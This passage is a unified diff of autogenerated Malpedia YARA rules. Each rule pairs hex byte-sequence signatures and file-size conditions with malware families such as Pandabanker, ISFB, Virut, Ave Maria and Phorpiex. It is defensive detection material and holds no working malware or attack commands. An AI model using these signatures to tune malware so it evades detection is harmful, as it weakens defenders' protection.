+		$sequence_6 = { 8d7001 75da 8b35???????? 8d857cffffff 50 ffd6 83c002 }
+		$sequence_7 = { 6800020000 8d85bcfdffff 6a00 50 e8???????? 68???????? }
+		$sequence_8 = { 880c32 8a47f8 c0e005 02c1 880432 }
+		$sequence_9 = { 0f84b6000000 80bd53fcffff00 0f84a9000000 0fb74214 }
 
 	condition:
-		7 of them and filesize <1032192
+		7 of them and filesize <303104
 }
-rule MALPEDIA_Win_Pandabanker_Auto : FILE
+rule MALPEDIA_Win_Brutpos_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "58cad36d-92dc-5f57-8115-b38a95b1c2cd"
+		id = "bb6abccd-59b3-5a30-9e67-ccbe498737a5"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pandabanker"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pandabanker_auto.yar#L1-L118"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.brutpos"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.brutpos_auto.yar#L1-L117"
 		license_url = "N/A"
-		logic_hash = "64182a4cfed301300c0a7df71a34e50b114a69353e8eb5e84fdb9f4804c83f2c"
+		logic_hash = "89d0bc6a7e52ba9f63dface96ebbf483b03be0cbf8144ed32f3b88bf360b4eda"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -156934,34 +164045,34 @@ rule MALPEDIA_Win_Pandabanker_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 56 8bf2 57 83f8ff 7507 8bce e8???????? }
-		$sequence_1 = { 57 8b4808 8d7c2418 8b4004 }
-		$sequence_2 = { c1e202 8bfe 8bca 45 }
-		$sequence_3 = { 7404 c6400109 8b442430 8bd5 014608 8bcf 56 }
-		$sequence_4 = { eb2c 6a05 5a 8bcf }
-		$sequence_5 = { c6007b 40 85db 7404 c6000a 40 c60000 }
-		$sequence_6 = { e8???????? 8bf0 85f6 7411 8bcf }
-		$sequence_7 = { 85ff 7423 8b0e 8bd5 }
-		$sequence_8 = { e8???????? 8b742414 8bce 8b542418 89742424 e8???????? 84c0 }
-		$sequence_9 = { 7508 33c0 85d2 0f95c0 c3 }
+		$sequence_0 = { 59 58 83c004 83e904 8808 }
+		$sequence_1 = { 03c2 034508 2938 83e902 75e8 ebd9 5e }
+		$sequence_2 = { 8d5b18 8b5b60 03d8 52 8b35???????? }
+		$sequence_3 = { 6681f9df77 7412 0f31 8bd8 }
+		$sequence_4 = { 8bd0 ad 8bc8 83e908 66ad 6685c0 740c }
+		$sequence_5 = { 8d7c38fc baffffffff 83c704 57 }
+		$sequence_6 = { 66ad 6685c0 740c 25ff0f0000 03c2 034508 }
+		$sequence_7 = { 52 e8???????? 59 8b09 8bd1 }
+		$sequence_8 = { c1e202 03d3 8b12 03d0 }
+		$sequence_9 = { 8b5508 8b4204 0fb70a 50 51 807401ff97 }
 
 	condition:
-		7 of them and filesize <417792
+		7 of them and filesize <65536
 }
-rule MALPEDIA_Win_Cherry_Picker_Auto : FILE
+rule MALPEDIA_Win_Virut_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "4ae5e79a-a840-5921-89d9-37d4576478a8"
+		id = "d1cda5ac-7426-54df-b118-5de8978eea9c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cherry_picker"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cherry_picker_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.virut"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.virut_auto.yar#L1-L166"
 		license_url = "N/A"
-		logic_hash = "34271a3488eb7c13dc528b66980352e939907040bf405db0ad386d2bee3e0b44"
+		logic_hash = "2bad431ccdf4fab7d1de984be24a8fafd07e087427bb72238bd9b56468720628"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -156973,32 +164084,38 @@ rule MALPEDIA_Win_Cherry_Picker_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 68???????? 68???????? a3???????? ffd6 69c0e8030000 68???????? }
-		$sequence_1 = { 80fa3b 7503 83c9ff 8817 47 }
-		$sequence_2 = { 68???????? 56 89442420 ffd3 68???????? 56 }
-		$sequence_3 = { 8bf0 0fbec9 81e6ff000000 33f1 }
-		$sequence_4 = { a1???????? 53 8b1d???????? 56 57 6aff }
-		$sequence_5 = { a3???????? 85c0 7512 68???????? 50 50 }
-		$sequence_6 = { ff15???????? 8bf0 68???????? 56 ffd3 68???????? 56 }
-		$sequence_7 = { 6800010000 68???????? 68???????? 68???????? 68???????? ffd6 68???????? }
-		$sequence_8 = { a1???????? 56 6aff 50 8bf1 }
-		$sequence_9 = { ffd6 68???????? 6800010000 68???????? }
+		$sequence_0 = { 89442418 3bc3 0f8441020000 6801040000 8d8424fc050000 53 50 }
+		$sequence_1 = { 33f6 8bca 83c107 3bcb 7e1b }
+		$sequence_2 = { 0f8402010000 803f4d 0f85f9000000 807f015a }
+		$sequence_3 = { 6a00 59 e30a 6a0a }
+		$sequence_4 = { ff74241c 6a40 ff15???????? 8bf8 33c0 3bf3 }
+		$sequence_5 = { 8bf0 3bf3 0f8e82000000 ff74240c 57 56 }
+		$sequence_6 = { 51 6800040000 8d8c2404060000 51 89442428 }
+		$sequence_7 = { 8bcb f3a6 61 7405 }
+		$sequence_8 = { 8bd4 6a00 52 ff32 }
+		$sequence_9 = { 33d2 8bcf 52 f6d9 52 83e103 6a40 }
+		$sequence_10 = { 6800030084 51 51 56 }
+		$sequence_11 = { 49 4e 45 54 2e44 4c }
+		$sequence_12 = { 53 8d442444 50 8d8424e0020000 50 ffd6 }
+		$sequence_13 = { eb49 395c240c 7449 33c0 395c240c 7e24 }
+		$sequence_14 = { 6a10 59 f3ab 50 50 }
+		$sequence_15 = { 66ab 8d4704 ab 32e4 ac }
 
 	condition:
-		7 of them and filesize <712704
+		7 of them and filesize <98304
 }
-rule MALPEDIA_Win_Hi_Zor_Rat_Auto : FILE
+rule MALPEDIA_Win_Touchmove_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "3dc62db9-3a05-5424-a3c8-d6fd9e595782"
+		id = "a88e9c25-4116-5e49-8a2c-fef3336f0802"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hi_zor_rat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hi_zor_rat_auto.yar#L1-L124"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.touchmove"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.touchmove_auto.yar#L1-L124"
 		license_url = "N/A"
-		logic_hash = "3acb0fc19d1323e3198577328eeef1259397f6589eae60512b85396f5cbd245b"
+		logic_hash = "519a7e3bd048a6a0769391087a62b1ec389f7202cc576a740e9eb0fb3d43844d"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -157012,32 +164129,32 @@ rule MALPEDIA_Win_Hi_Zor_Rat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c644303080 8b4e24 83e13f 80f937 7614 8bc6 e8???????? }
-		$sequence_1 = { ff15???????? 8b4d08 57 8bf0 51 56 }
-		$sequence_2 = { e8???????? 8b1d???????? 83c418 6804010000 8d8df4fdffff 51 }
-		$sequence_3 = { 23da 8bfa 8b5014 f7d7 }
-		$sequence_4 = { 8b5818 8db41e604b0000 c1e610 c1ef10 0bfe }
-		$sequence_5 = { 037018 f7d2 8975f8 897014 8bfa 0b55f8 }
-		$sequence_6 = { 57 51 50 8945f4 e8???????? 8b450c }
-		$sequence_7 = { 50 51 e8???????? 83c424 893e 5f 5e }
-		$sequence_8 = { ffd6 8b55ec 83c404 52 ffd6 83c404 }
-		$sequence_9 = { 83c40c 6a00 8d450c 50 6800e00100 8d4608 50 }
+		$sequence_0 = { 41b800040000 488d8c2452010000 e8???????? 4c8d442448 488d152df90000 }
+		$sequence_1 = { 488d157af70000 488d8d90000000 e8???????? 4c8d8590000000 33d2 33c9 }
+		$sequence_2 = { 7528 48833d????????00 741e 488d0d499f0000 e8???????? 85c0 }
+		$sequence_3 = { 41b8ee000000 488d8d92430000 e8???????? c6858044000000 33d2 41b8ff000000 488d8d81440000 }
+		$sequence_4 = { ff15???????? 488d442450 4889442420 458bce 4533c0 488d9580410000 48c7c102000080 }
+		$sequence_5 = { 0f8514010000 4c8d2d36cd0000 41b804010000 668935???????? 498bd5 ff15???????? 418d7c24e7 }
+		$sequence_6 = { 48833d????????00 0f844d040000 48833d????????00 0f843f040000 }
+		$sequence_7 = { 833d????????00 7505 e8???????? 488d3d40e00000 41b804010000 }
+		$sequence_8 = { 488bfb 488bf3 48c1fe05 4c8d25bebd0000 83e71f 486bff58 }
+		$sequence_9 = { 8bc8 e8???????? ebc9 488bcb 488bc3 488d1597e40000 48c1f805 }
 
 	condition:
-		7 of them and filesize <73728
+		7 of them and filesize <224256
 }
-rule MALPEDIA_Win_Ati_Agent_Auto : FILE
+rule MALPEDIA_Win_Ave_Maria_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "aa24ad24-7301-5b4c-b856-1e1a4ef6bc2f"
+		id = "410b5f16-91ac-5311-b6ab-598dd1954c39"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ati_agent"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ati_agent_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ave_maria"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ave_maria_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "724a5b5da348b3df222a7dbd0e29ff96d89b57311395a8ccd89f777e74414508"
+		logic_hash = "d6a2fe1f05fe69e9ea5ce04e4093200d3e962df5b8f3c4c00fc93efedbc85567"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -157051,34 +164168,34 @@ rule MALPEDIA_Win_Ati_Agent_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 488bc8 ff15???????? 488d1548a20000 488bce 488905???????? }
-		$sequence_1 = { e8???????? 488d2d24a60000 4c8d250dd80000 83f8ff 7435 488bcf e8???????? }
-		$sequence_2 = { 488d442460 488d942490010000 4533c9 4889442448 48894c2440 }
-		$sequence_3 = { 488b05???????? 4833c4 4889442438 498bf0 488bfa 488bd9 }
-		$sequence_4 = { 488d0526d80000 488d0cc8 48890f ff15???????? }
-		$sequence_5 = { e9???????? 4881ec28050000 488b05???????? 4833c4 4889842410050000 488b05???????? 4885c0 }
-		$sequence_6 = { 488d8c24f0000000 ba04010000 4889442420 e8???????? 4c8d5c2438 488d9424f0000000 41b919010200 }
-		$sequence_7 = { 442bc0 488b442450 488d0d85be0000 488b0cc1 }
-		$sequence_8 = { 897c2428 897c2420 c784248000000068000000 ff15???????? }
-		$sequence_9 = { 8bf8 85c0 750d 488bce e8???????? e9???????? 4c8d2d6dc10000 }
+		$sequence_0 = { 8b07 ff740610 8d4614 50 8d45f8 50 }
+		$sequence_1 = { 52 8b08 6a01 50 ff510c 85c0 74c1 }
+		$sequence_2 = { 6a0a 03c1 59 8bf8 f3a5 8d4d30 }
+		$sequence_3 = { 0f57c0 c745e015000000 50 8d4de0 0f1145e8 e8???????? 8bc8 }
+		$sequence_4 = { 803800 7509 33c0 5b c3 33c0 40 }
+		$sequence_5 = { 8bc7 99 2bc1 8bcf 1bd6 52 50 }
+		$sequence_6 = { ff500c 8b06 68???????? ff37 8b08 }
+		$sequence_7 = { 51 54 8bce e8???????? 8b4d08 e8???????? 83c410 }
+		$sequence_8 = { 300431 41 3bcf 7ced 5f 8bc6 5e }
+		$sequence_9 = { 83ec18 53 8bd9 56 57 895df8 }
 
 	condition:
-		7 of them and filesize <172032
+		7 of them and filesize <237568
 }
-rule MALPEDIA_Win_Isfb_Auto : FILE
+rule MALPEDIA_Win_Phorpiex_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "2206addc-4ea1-5ebc-8989-ba5f49383e7b"
+		id = "eb226bf1-84a3-5e5c-8655-1f02f1d972a0"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.isfb"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.isfb_auto.yar#L1-L1623"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.phorpiex"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.phorpiex_auto.yar#L1-L284"
 		license_url = "N/A"
-		logic_hash = "dcaa8c2fe85dec9e7e215d7d6083b8c053dc5e8814c7849f4addcdf0f2d4a23f"
+		logic_hash = "626e70970105507345b3f584dcd1a33bae9d4d1c587f31ce85f081908c2a5392"
 		score = 75
-		quality = 50
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -157090,212 +164207,52 @@ rule MALPEDIA_Win_Isfb_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? eb02 33c0 3bc7 741b 50 }
-		$sequence_1 = { 741b 50 33c0 e8???????? 3bc7 }
-		$sequence_2 = { ff75f0 ff75f4 6822010000 e9???????? ff7508 }
-		$sequence_3 = { 58 e8???????? 3bc7 7406 50 }
-		$sequence_4 = { 3bc7 7413 50 6a10 58 e8???????? }
-		$sequence_5 = { ff35???????? e8???????? 8bf0 3bf3 7443 6aff 68806967ff }
-		$sequence_6 = { 50 e8???????? 83c40c e8???????? 3bc7 }
-		$sequence_7 = { 6a64 ff15???????? a1???????? 85c0 7407 83ee64 }
-		$sequence_8 = { ff35???????? ff15???????? 85c0 a3???????? 7402 ffe0 c20400 }
-		$sequence_9 = { 5d 5b 59 c20400 8325????????00 6a00 68???????? }
-		$sequence_10 = { 7406 50 e8???????? 3bdf 7414 }
-		$sequence_11 = { a1???????? 85c0 751a 68???????? ff35???????? ff15???????? 85c0 }
-		$sequence_12 = { 3c05 7506 84e4 7704 3ac0 }
-		$sequence_13 = { c20400 55 8bec 83ec0c a1???????? 8365f800 }
-		$sequence_14 = { 2b55fc 8b7d10 0155fc 83451004 }
-		$sequence_15 = { 83e103 740d 51 50 ff7510 e8???????? 83c40c }
-		$sequence_16 = { 0155fc 83451004 83c004 49 8917 75e9 }
-		$sequence_17 = { 7417 8b10 2b55fc 8b7d10 }
-		$sequence_18 = { 3bc3 7512 e8???????? 3bc3 a3???????? }
-		$sequence_19 = { 895df4 0f84c7000000 56 53 }
-		$sequence_20 = { b8???????? 7505 b8???????? 53 bb60ea0000 }
-		$sequence_21 = { 68000f0000 e8???????? 8bd8 85db 895df4 0f84c7000000 }
-		$sequence_22 = { 837b240c 56 57 8b3b 897c241c 760a 8b4b20 }
-		$sequence_23 = { 894b34 8b4b24 2b4b28 894c2410 8b4b34 f6c140 }
-		$sequence_24 = { 58 e8???????? 85c0 740d 8906 83c604 }
-		$sequence_25 = { 8b442418 894110 836334f9 c7432c01000000 8b4334 }
-		$sequence_26 = { e8???????? 8b4320 897324 897328 83c40c 8974240c c6401a00 }
-		$sequence_27 = { 57 33ff 3bdf 7414 }
-		$sequence_28 = { ff35???????? 0fc8 50 a1???????? }
-		$sequence_29 = { 8a4604 2404 f6d8 1bc0 }
-		$sequence_30 = { c6400731 8b74241c 8b1e 6a00 ff37 ff15???????? 2b442414 }
-		$sequence_31 = { ff15???????? 8b442414 8b4c240c 8907 8b442418 }
-		$sequence_32 = { 83ec14 8364240400 53 8b5d0c 837b240c 56 }
-		$sequence_33 = { 2b442414 50 8b07 03442418 50 56 ff5310 }
-		$sequence_34 = { 837d0800 7408 ff7508 e8???????? 8bc7 5f 5e }
-		$sequence_35 = { 752f 8b450c 8930 eb33 }
-		$sequence_36 = { 74a3 33ff eb0b 33ff eb03 }
-		$sequence_37 = { 6a01 33db 53 ff35???????? e8???????? 8bf0 }
-		$sequence_38 = { 50 8d4508 50 53 8bc6 }
-		$sequence_39 = { 8bd1 83c128 4e 7404 3bd0 74e7 3bd0 }
-		$sequence_40 = { 488bcf c744242860ea0000 4c0f45c8 48895c2420 }
-		$sequence_41 = { 3bc8 7415 8b5210 3bd0 }
-		$sequence_42 = { 53 8bc6 e8???????? 85c0 7516 }
-		$sequence_43 = { 6a0b eb02 6a02 58 }
-		$sequence_44 = { 85ff 750e 837d0800 7408 }
-		$sequence_45 = { 488bcf ff15???????? 4c8964dd00 83c301 4885ff 4c8be7 }
-		$sequence_46 = { 498bcc ff15???????? 33db 66ba2000 }
-		$sequence_47 = { 415c 5f 5e 5d 5b c3 8b4754 }
-		$sequence_48 = { 75c4 48892e eb02 33db 488b0d???????? 885e08 }
-		$sequence_49 = { c21000 55 8bec 83ec14 a1???????? 53 }
-		$sequence_50 = { 53 b800080000 50 56 ff35???????? }
-		$sequence_51 = { e8???????? be01000000 8bc6 4883c440 415e }
-		$sequence_52 = { 33db 66ba2000 498bcc ff15???????? 4885c0 }
-		$sequence_53 = { e8???????? 85c0 742d ff75fc 6a0d }
-		$sequence_54 = { 742d ff75fc 6a0d 58 e8???????? 85c0 }
-		$sequence_55 = { ff15???????? 4885c0 488be8 7453 }
-		$sequence_56 = { 4c0f45c8 48895c2420 e8???????? 85c0 8bd8 }
-		$sequence_57 = { 51 50 57 6a01 ff75e0 68???????? e8???????? }
-		$sequence_58 = { ff15???????? bb01000000 498bcc eb07 83c301 488d4801 66ba2000 }
-		$sequence_59 = { 8bd5 488bcf bb57000000 e8???????? }
-		$sequence_60 = { e8???????? 3bc3 740f 8b35???????? 50 83c604 }
-		$sequence_61 = { a810 ff750c 7535 68???????? ff75f8 }
-		$sequence_62 = { ff75f8 ffd6 8b4df4 66c7015c00 }
-		$sequence_63 = { 8945e0 e8???????? 85c0 0f84dc000000 8b45e0 8d4de0 3bc1 }
-		$sequence_64 = { 33db 53 ff35???????? c745f408000000 ff15???????? 3bc3 8945f8 }
-		$sequence_65 = { 6641b85c00 33d2 488bcd ff15???????? }
-		$sequence_66 = { 50 83c604 e8???????? 3bfb }
-		$sequence_67 = { b90e010000 41b800000100 4889442420 e8???????? e9???????? }
-		$sequence_68 = { 6a01 e8???????? 85db 7423 8b0d???????? }
-		$sequence_69 = { 50 e8???????? 3bfb 7414 }
-		$sequence_70 = { 72c1 eb0c bb7f000000 eb05 bb7e000000 }
-		$sequence_71 = { 33d2 ff15???????? 488bdf 8bf7 483bdf }
-		$sequence_72 = { 4883c608 83fd05 72c1 eb0c }
-		$sequence_73 = { 3bc3 8945f4 741a ff750c 668918 68???????? }
-		$sequence_74 = { 50 8bd7 e8???????? eb02 33c0 3bc3 7413 }
-		$sequence_75 = { a840 0f84e2000000 8b7334 8d442418 50 8d442410 50 }
-		$sequence_76 = { 8b7508 e8???????? 33f6 3975fc }
-		$sequence_77 = { ff7510 57 ff750c 53 e8???????? 3bfe 740e }
-		$sequence_78 = { 0f8544010000 8b472c a801 742d ff37 e8???????? 85c0 }
-		$sequence_79 = { e8???????? 3bfe 740e 57 56 ff35???????? ff15???????? }
-		$sequence_80 = { ff5214 8bf7 8bfe e8???????? 5f 5e }
-		$sequence_81 = { 5b 8be5 5d c20800 8b4330 a804 0f8451ffffff }
-		$sequence_82 = { c744242000010000 ff15???????? 4883f8ff 488bf8 7442 }
-		$sequence_83 = { ff15???????? 53 56 ff35???????? ff15???????? 5b 5f }
-		$sequence_84 = { 3975fc 7410 ff75fc 56 ff35???????? ff15???????? 53 }
-		$sequence_85 = { 83bc248800000000 4c8b442440 488b542448 894c2430 }
-		$sequence_86 = { 752e 53 e8???????? 6a01 6a01 }
-		$sequence_87 = { 56 ff35???????? 8945f8 ff15???????? 8bd8 3bde }
-		$sequence_88 = { e8???????? 85c0 0f85d7000000 8b4604 }
-		$sequence_89 = { 7505 894720 eb0b 8b4f30 84c9 0f8992000000 }
-		$sequence_90 = { 83632800 e9???????? 8b4330 a840 0f84e2000000 8b7334 }
-		$sequence_91 = { 0f854affffff 894330 e9???????? 55 }
-		$sequence_92 = { c9 c20400 51 56 ff74240c }
-		$sequence_93 = { 4803df 410fb64101 33d2 488d0cc3 }
-		$sequence_94 = { 85d2 4d8bf1 458bf8 8bc2 }
-		$sequence_95 = { e8???????? 8d45fc 50 8b4508 e8???????? }
-		$sequence_96 = { 50 57 e8???????? e9???????? 68???????? }
-		$sequence_97 = { ff15???????? 488bcf 48870d???????? 483bcf }
-		$sequence_98 = { 33db 895d08 eb03 8b5d08 }
-		$sequence_99 = { 488d0cc3 48890d???????? 410fb64103 488d0cc3 }
-		$sequence_100 = { ff15???????? 4885db 740c 4c8b0d???????? e9???????? }
-		$sequence_101 = { c3 418bd8 4803df 410fb64101 }
-		$sequence_102 = { e8???????? 85c0 7507 33db 895d08 }
-		$sequence_103 = { 488bce ff15???????? 488b0d???????? 33d2 4c63c0 }
-		$sequence_104 = { 6a00 ff35???????? ff15???????? 33db 6a01 }
-		$sequence_105 = { 8a4b1c 488b4558 4c8b4d30 4c8b4510 }
-		$sequence_106 = { 448be8 418b4310 41394308 410f474308 }
-		$sequence_107 = { 488d0cc3 48890d???????? 410fb64102 488d0cc3 }
-		$sequence_108 = { 33d2 ff15???????? 483bc3 4c8be8 }
-		$sequence_109 = { 33d2 498bcc 498bfd e8???????? 493bc5 7405 }
-		$sequence_110 = { 5b c3 a1???????? 83c040 50 ff15???????? eb08 }
-		$sequence_111 = { 8b3d???????? 56 ffd7 53 56 }
-		$sequence_112 = { e8???????? 0945fc 47 83c304 3b3e 72dc 8b45fc }
-		$sequence_113 = { c9 c20400 53 56 8bf0 8a06 }
-		$sequence_114 = { 8bf1 05fefeffff 33db 33c9 }
-		$sequence_115 = { 8b02 43 8acb d3c0 33c6 33442410 8bf0 }
-		$sequence_116 = { ff15???????? 8ac3 5b c9 c20400 53 }
-		$sequence_117 = { 8bf0 8932 83c204 ff4c240c 75e6 5e 5b }
-		$sequence_118 = { 4533c9 4889442428 215c2420 4533c0 }
-		$sequence_119 = { 50 8d442430 50 8d442428 50 8d442428 }
-		$sequence_120 = { 480f45f2 832700 458be0 bb08000000 }
-		$sequence_121 = { ff15???????? 4c8d4c2450 4c8d442458 8d5001 488bce e8???????? 85c0 }
-		$sequence_122 = { ff15???????? 4883f8ff 4c8be0 0f8583000000 488b0d???????? 4d8bc5 }
-		$sequence_123 = { e9???????? 33c9 bb26040000 48870d???????? }
-		$sequence_124 = { ff15???????? 49bb00c0692ac9000000 488bcf 4c019c24d8010000 ff15???????? 6641b85c00 33d2 }
-		$sequence_125 = { 83c701 e9???????? 488b8424c8010000 498bcc bb01000000 4c8928 }
-		$sequence_126 = { ff15???????? 488d542440 488bcd ff15???????? 4883f8ff }
-		$sequence_127 = { 4c8bc7 33d2 ff15???????? 33ff 4885ff }
-		$sequence_128 = { 488bd6 ff15???????? eb14 488b0d???????? 4c8bc7 33d2 }
-		$sequence_129 = { 6a00 ff35???????? ffd3 8bd8 85db 7476 }
-		$sequence_130 = { 41b905000000 488bd8 ff15???????? 488bcb }
-		$sequence_131 = { 4c8be8 0f841c010000 448b05???????? 33d2 488bc8 4c33c7 e8???????? }
-		$sequence_132 = { 7416 a1???????? 83c004 50 be???????? }
-		$sequence_133 = { 498bcf ff15???????? 448bf0 488bce ff15???????? }
-		$sequence_134 = { 895df4 895df0 c745f857000000 bf19010000 }
-		$sequence_135 = { 7520 41390424 741a 498d4c2401 }
-		$sequence_136 = { 488b0d???????? 448bc0 8bd8 33d2 4983c001 }
-		$sequence_137 = { a1???????? 25efff0000 0bc2 e9???????? }
-		$sequence_138 = { 4c63c0 33d2 4983c00c ff15???????? }
-		$sequence_139 = { 215c2420 4533c9 4533c0 33d2 ff15???????? 85c0 7511 }
-		$sequence_140 = { 6a03 8935???????? 8935???????? 8935???????? }
-		$sequence_141 = { e9???????? 488bcb ff15???????? a810 }
-		$sequence_142 = { 803f2a 750b 4883c701 83c3ff }
-		$sequence_143 = { 41be01000000 33c9 418bd6 ff15???????? }
-		$sequence_144 = { 53 56 8bf1 05fefeffff }
-		$sequence_145 = { 57 4154 4155 4156 4883ec50 488bf1 }
-		$sequence_146 = { 5e 33c0 c9 c20400 55 8bec 51 }
-		$sequence_147 = { 4889040f 4883c708 492bf6 75db }
-		$sequence_148 = { 8bc6 e8???????? 8b06 8b08 57 ff7510 }
-		$sequence_149 = { 750a 488bcf e8???????? 8bd8 488b0d???????? 4c8bc7 }
-		$sequence_150 = { 5f c20400 55 8bec 83e4f8 81ec9c000000 }
-		$sequence_151 = { 488d542438 488bcb e8???????? eb02 }
-		$sequence_152 = { 8bc7 e8???????? 8d4618 8b08 50 51 }
-		$sequence_153 = { 6a20 40 50 ffd6 }
-		$sequence_154 = { 488bd3 ff15???????? 488b8c2428020000 8bf0 ff15???????? }
-		$sequence_155 = { 7417 4863461c 2b6e1c 4c03e8 488b4610 48894718 }
-		$sequence_156 = { 21442428 488b8c2428020000 488364242000 448d4803 }
-		$sequence_157 = { 21b42410020000 eb0d ff15???????? 89842410020000 }
-		$sequence_158 = { 488bcb ff15???????? 8bc8 ff15???????? 21b42410020000 }
-		$sequence_159 = { 4885c9 7405 e8???????? 4883c428 c3 488d82204a0000 488982284a0000 }
-		$sequence_160 = { 418bcd e8???????? 8b842410020000 4c8d9c24f0010000 }
-		$sequence_161 = { 488b15???????? 4c8d842428020000 48c7c101000080 ff15???????? }
-		$sequence_162 = { e8???????? 5e 5f c9 c3 51 53 }
-		$sequence_163 = { 50 57 6a01 ff7508 ffd6 85c0 742b }
-		$sequence_164 = { 448bcf 4533c0 e8???????? 483bc3 488905???????? 0f84dc000000 }
-		$sequence_165 = { e8???????? 488b0d???????? 4c8bc3 33d2 ff15???????? 488b0d???????? 4c8bc7 }
-		$sequence_166 = { 4c8d40cc 33d2 33c9 e8???????? 85c0 0f8561010000 }
-		$sequence_167 = { 7415 397b44 7510 488b0b e8???????? 85c0 0f859b000000 }
-		$sequence_168 = { ffc1 807c043000 7531 8bd3 2bd1 8917 }
-		$sequence_169 = { 84c0 0f89a3000000 8b434c a804 7415 397b44 7510 }
-		$sequence_170 = { 7505 217b3c eb0b 8b434c 84c0 0f89a3000000 8b434c }
-		$sequence_171 = { 85c0 0f8561010000 8b4348 a801 742c }
-		$sequence_172 = { 742c 488b0b e8???????? 85c0 0f85e8000000 488b4608 488b0e }
-		$sequence_173 = { 85c0 0f859b000000 4863533c 488b4608 }
-		$sequence_174 = { ba10000000 488bc8 e8???????? 48898424e0010000 4885c0 }
-		$sequence_175 = { 4c8d442470 488d542440 e8???????? 8bd8 85c0 }
-		$sequence_176 = { 33d2 468d44385f ff15???????? 4c8bf0 }
-		$sequence_177 = { 488bf8 4885c0 7427 488d542420 b901020000 ff15???????? 85c0 }
-		$sequence_178 = { 4c89642448 ff15???????? 8bd8 83f8ff }
-		$sequence_179 = { 488bc8 458bf9 33ff e8???????? 4c8be8 4885c0 7508 }
-		$sequence_180 = { 8bd8 85c0 0f85f3010000 4c8b842418020000 8d5808 488d8c24b0000000 4d85c0 }
-		$sequence_181 = { 448d4256 ff15???????? 4c8be0 4885c0 0f8405010000 ff15???????? }
-		$sequence_182 = { 90 57 51 8b742420 8b7c241c 8b4c2434 }
-		$sequence_183 = { 56 57 51 90 8b742428 }
-		$sequence_184 = { 8b5508 035510 8b3a 83c204 }
-		$sequence_185 = { 01f2 6683f9ff 896c2428 7508 }
-		$sequence_186 = { eb67 8044241301 0fb6ca 01cb 30c9 eb59 }
-		$sequence_187 = { 83c304 894c2410 56 90 }
-		$sequence_188 = { 5e 01d5 01d3 b101 3b5c2428 0f8266ffffff }
-		$sequence_189 = { 8b5d10 6601da c1ca03 895510 3010 }
+		$sequence_0 = { 6a00 ff15???????? ff15???????? 50 e8???????? }
+		$sequence_1 = { ff15???????? 85c0 740f 6a07 }
+		$sequence_2 = { ff15???????? 85c0 741f 6880000000 }
+		$sequence_3 = { 6a20 6a00 6a00 6a00 8b5508 52 6a00 }
+		$sequence_4 = { e8???????? 83c410 6a00 6a02 6a02 6a00 6a00 }
+		$sequence_5 = { 6a01 6a00 68???????? e8???????? 83c40c 33c0 }
+		$sequence_6 = { e8???????? 99 b90d000000 f7f9 }
+		$sequence_7 = { 52 ff15???????? 6a00 6a00 6a00 6a00 68???????? }
+		$sequence_8 = { 50 e8???????? 83c404 e8???????? e8???????? ff15???????? }
